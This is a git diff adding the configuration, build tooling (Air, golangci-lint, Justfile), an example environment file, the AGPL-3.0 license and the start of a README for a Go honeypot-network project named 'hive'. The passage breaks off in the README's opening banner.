diff --git a/PROJECTS/advanced/honeypot-network/.air.toml b/PROJECTS/advanced/honeypot-network/.air.toml new file mode 100644 index 00000000..2e1c4b0f --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/.air.toml @@ -0,0 +1,28 @@ +# ©AngelaMos | 2026 +# .air.toml + +root = "." +tmp_dir = "tmp" + +[build] +cmd = "go build -o ./tmp/hive ./cmd/hive" +bin = "./tmp/hive" +full_bin = "./tmp/hive serve" +delay = 1000 +exclude_dir = ["tmp", "vendor", "frontend", "testdata", "docs", "learn", "infra", "migrations"] +exclude_file = [] +exclude_regex = ["_test\\.go$"] +exclude_unchanged = true +follow_symlink = false +include_ext = ["go", "yaml"] +include_dir = [] +kill_delay = 500 +send_interrupt = true +stop_on_error = true + +[log] +time = false +main_only = false + +[misc] +clean_on_exit = true diff --git a/PROJECTS/advanced/honeypot-network/.env.example b/PROJECTS/advanced/honeypot-network/.env.example new file mode 100644 index 00000000..58bb6134 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/.env.example @@ -0,0 +1,41 @@ +# ©AngelaMos | 2026 +# .env.example + +# ─── Database ──────────────────────────────────────────────────────── +POSTGRES_USER=hive +POSTGRES_PASSWORD=hive +POSTGRES_DB=hive + +# ─── Sensor Identity ───────────────────────────────────────────────── +HIVE_SENSOR_ID=hive-01 +HIVE_SENSOR_REGION=us-east-1 + +# ─── Logging ───────────────────────────────────────────────────────── +HIVE_LOG_LEVEL=info + +# ─── Honeypot Ports (host → container) ─────────────────────────────── +HIVE_SSH_PORT=2211 +HIVE_HTTP_PORT=8055 +HIVE_FTP_PORT=21272 +HIVE_SMB_PORT=46353 +HIVE_MYSQL_PORT=33077 +HIVE_REDIS_PORT=44801 + +# ─── Service Toggles ───────────────────────────────────────────────── +HIVE_SSH_ENABLED=true +HIVE_HTTP_ENABLED=true +HIVE_FTP_ENABLED=true +HIVE_SMB_ENABLED=true +HIVE_MYSQL_ENABLED=true +HIVE_REDIS_ENABLED=true + +# ─── Dashboard ─────────────────────────────────────────────────────── +DASHBOARD_PORT=7119 +HIVE_CORS_ORIGINS=http://localhost,http://localhost:3000,http://localhost:7119 + +# ─── GeoIP (MaxMind) ───────────────────────────────────────────────── +GEOIP_ACCOUNT_ID= +GEOIP_LICENSE_KEY= + +# ─── Self Hosting (Optional) ───────────────────────────────────────────────── +CLOUDFLARE_TUNNEL_TOKEN= diff --git a/PROJECTS/advanced/honeypot-network/.gitignore b/PROJECTS/advanced/honeypot-network/.gitignore new file mode 100644 index 00000000..f52319fa --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/.gitignore @@ -0,0 +1,40 @@ +# ©AngelaMos | 2026 +# .gitignore + +# Environment +.env +.env.local +.env.*.local + +# Go build output +bin/ +tmp/ + +# Runtime data +data/ +*.cast +*.mmdb + +# Frontend +frontend/node_modules/ +frontend/dist/ + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# OS +.DS_Store +Thumbs.db + +# Docker volumes +postgres-data/ +redis-data/ + +# Test/debug +coverage.out +*.prof +*.test diff --git a/PROJECTS/advanced/honeypot-network/.golangci.yml b/PROJECTS/advanced/honeypot-network/.golangci.yml new file mode 100644 index 00000000..f7c26afe --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/.golangci.yml @@ -0,0 +1,98 @@ +# ©AngelaMos | 2026 +# .golangci.yml + +version: "2" + +linters: + default: none + enable: + - errcheck + - govet + - gosec + - bodyclose + - nilerr + - errorlint + - exhaustive + - gocritic + - funlen + - gocognit + - dupl + - goconst + - ineffassign + - unused + - unconvert + - unparam + - testifylint + - fatcontext + + exclusions: + paths: + - vendor + - testdata + - data + rules: + - path: _test\.go + linters: + - funlen + - dupl + - goconst + + settings: + errcheck: + check-type-assertions: true + check-blank: false + exclude-functions: + - fmt.Fprint + - fmt.Fprintf + - fmt.Fprintln + + exhaustive: + default-signifies-exhaustive: true + + funlen: + lines: 150 + statements: 75 + + gocognit: + min-complexity: 20 + + govet: + enable-all: true + disable: + - fieldalignment + - shadow + + gosec: + excludes: + - G101 + - G102 + - G104 + - G114 + - G115 + - G117 + - G301 + - G304 + - G402 + - G703 + - G705 + +issues: + max-same-issues: 0 + +formatters: + enable: + - gci + - gofumpt + - golines + settings: + golines: + max-len: 80 + reformat-tags: true + gci: + sections: + - standard + - default + - prefix(github.com/CarterPerez-dev) + custom-order: true + gofumpt: + extra-rules: true diff --git a/PROJECTS/advanced/honeypot-network/Justfile b/PROJECTS/advanced/honeypot-network/Justfile new file mode 100644 index 00000000..a72bb70c --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/Justfile @@ -0,0 +1,210 @@ +# ©AngelaMos | 2026 +# Justfile + +set export +set shell := ["bash", "-uc"] + +project := file_name(justfile_directory()) +version := `git describe --tags --always 2>/dev/null || echo "dev"` +binary := "hive" + +# ============================================================================= +# Default +# ============================================================================= + +default: + @just --list --unsorted + +# ============================================================================= +# Linting and Formatting +# ============================================================================= + +[group('lint')] +lint *ARGS: + golangci-lint run --timeout=5m {{ARGS}} + +[group('lint')] +lint-fix: + golangci-lint run --timeout=5m --fix + +[group('lint')] +format: + golangci-lint fmt + +[group('lint')] +tidy: + go mod tidy + +[group('lint')] +vet: + go vet ./... + +# ============================================================================= +# Testing +# ============================================================================= + +[group('test')] +test *ARGS: + go test -race ./... {{ARGS}} + +[group('test')] +test-v *ARGS: + go test -race -v ./... {{ARGS}} + +[group('test')] +cover: + go test -race -cover ./... + +# ============================================================================= +# CI / Quality +# ============================================================================= + +[group('ci')] +ci: lint test + @echo "All checks passed." + +[group('ci')] +check: lint vet + +# ============================================================================= +# Development +# ============================================================================= + +[group('dev')] +run *ARGS: + go run ./cmd/hive {{ARGS}} + +[group('dev')] +dev-serve: + go run ./cmd/hive serve --config config.yaml + +[group('dev')] +dev-serve-verbose: + go run ./cmd/hive serve --config config.yaml --verbose + +[group('dev')] +dev-keygen: + go run ./cmd/hive keygen + +[group('dev')] +dev-version: + go run ./cmd/hive version + +# ============================================================================= +# Build (Production) +# ============================================================================= + +[group('prod')] +build: + go build -ldflags="-s -w" -o bin/{{binary}} ./cmd/hive + @echo "Built: bin/{{binary}} ($(du -h bin/{{binary}} | cut -f1))" + +[group('prod')] +build-static: + CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o bin/{{binary}} ./cmd/hive + @echo "Built static: bin/{{binary}} ($(du -h bin/{{binary}} | cut -f1))" + +[group('prod')] +build-debug: + go build -o bin/{{binary}} ./cmd/hive + +[group('prod')] +install: + go install ./cmd/hive + +# ============================================================================= +# Database +# ============================================================================= + +[group('db')] +migrate *ARGS: + go run ./cmd/hive migrate up {{ARGS}} + +[group('db')] +migrate-down: + go run ./cmd/hive migrate down + +[group('db')] +migrate-status: + go run ./cmd/hive migrate status + +# ============================================================================= +# Docker +# ============================================================================= + +[group('docker')] +up *ARGS: + docker compose up {{ARGS}} + +[group('docker')] +start *ARGS: + docker compose up -d {{ARGS}} + +[group('docker')] +down *ARGS: + docker compose down {{ARGS}} + +[group('docker')] +logs *SERVICE: + docker compose logs -f {{SERVICE}} + +[group('docker')] +ps: + docker compose ps + +[group('docker')] +dev-up *ARGS: + docker compose -f dev.compose.yml up {{ARGS}} + +[group('docker')] +dev-start *ARGS: + docker compose -f dev.compose.yml up -d {{ARGS}} + +[group('docker')] +dev-down *ARGS: + docker compose -f dev.compose.yml down {{ARGS}} + +[group('docker')] +dev-logs *SERVICE: + docker compose -f dev.compose.yml logs -f {{SERVICE}} + +[group('docker')] +dev-shell service='backend': + docker compose -f dev.compose.yml exec -it {{service}} /bin/sh + +# ============================================================================= +# Cloudflare Tunnel +# ============================================================================= + +[group('tunnel')] +tunnel-up *ARGS: + docker compose -f compose.yml -f cloudflared.compose.yml up {{ARGS}} + +[group('tunnel')] +tunnel-start *ARGS: + docker compose -f compose.yml -f cloudflared.compose.yml up -d {{ARGS}} + +[group('tunnel')] +tunnel-down *ARGS: + docker compose -f compose.yml -f cloudflared.compose.yml down {{ARGS}} + +[group('tunnel')] +tunnel-logs: + docker compose -f compose.yml -f cloudflared.compose.yml logs -f cloudflared + +# ============================================================================= +# Utilities +# ============================================================================= + +[group('util')] +info: + @echo "Project: {{project}}" + @echo "Version: {{version}}" + @echo "Go: $(go version | cut -d' ' -f3)" + @echo "OS: {{os()}} ({{arch()}})" + @echo "Module: $(head -1 go.mod | cut -d' ' -f2)" + +[group('util')] +clean: + -rm -rf bin/ + @echo "Cleaned build artifacts." diff --git a/PROJECTS/advanced/honeypot-network/LICENSE b/PROJECTS/advanced/honeypot-network/LICENSE new file mode 100644 index 00000000..0ad25db4 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/LICENSE @@ -0,0 +1,661 @@ + GNU AFFERO GENERAL PUBLIC LICENSE + Version 3, 19 November 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU Affero General Public License is a free, copyleft license for +software and other kinds of works, specifically designed to ensure +cooperation with the community in the case of network server software. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +our General Public Licenses are intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + Developers that use our General Public Licenses protect your rights +with two steps: (1) assert copyright on the software, and (2) offer +you this License which gives you legal permission to copy, distribute +and/or modify the software. + + A secondary benefit of defending all users' freedom is that +improvements made in alternate versions of the program, if they +receive widespread use, become available for other developers to +incorporate. Many developers of free software are heartened and +encouraged by the resulting cooperation. However, in the case of +software used on network servers, this result may fail to come about. +The GNU General Public License permits making a modified version and +letting the public access it on a server without ever releasing its +source code to the public. + + The GNU Affero General Public License is designed specifically to +ensure that, in such cases, the modified source code becomes available +to the community. It requires the operator of a network server to +provide the source code of the modified version running there to the +users of that server. Therefore, public use of a modified version, on +a publicly accessible server, gives the public access to the source +code of the modified version. + + An older license, called the Affero General Public License and +published by Affero, was designed to accomplish similar goals. This is +a different license, not a version of the Affero GPL, but Affero has +released a new version of the Affero GPL which permits relicensing under +this license. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU Affero General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Remote Network Interaction; Use with the GNU General Public License. + + Notwithstanding any other provision of this License, if you modify the +Program, your modified version must prominently offer all users +interacting with it remotely through a computer network (if your version +supports such interaction) an opportunity to receive the Corresponding +Source of your version by providing access to the Corresponding Source +from a network server at no charge, through some standard or customary +means of facilitating copying of software. This Corresponding Source +shall include the Corresponding Source for any work covered by version 3 +of the GNU General Public License that is incorporated pursuant to the +following paragraph. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the work with which it is combined will remain governed by version +3 of the GNU General Public License. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU Affero General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU Affero General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU Affero General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU Affero General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Affero General Public License as published + by the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Affero General Public License for more details. + + You should have received a copy of the GNU Affero General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If your software can interact with users remotely through a computer +network, you should also make sure that it provides a way for users to +get its source. For example, if your program is a web application, its +interface could display a "Source" link that leads users to an archive +of the code. There are many ways you could offer source, and different +solutions will be better for different programs; see section 13 for the +specific requirements. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU AGPL, see +. diff --git a/PROJECTS/advanced/honeypot-network/README.md b/PROJECTS/advanced/honeypot-network/README.md new file mode 100644 index 00000000..178cfcc9 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/README.md @@ -0,0 +1,253 @@ +```regex +██╗ ██╗██╗██╗ ██╗███████╗ +██║ ██║██║██║ 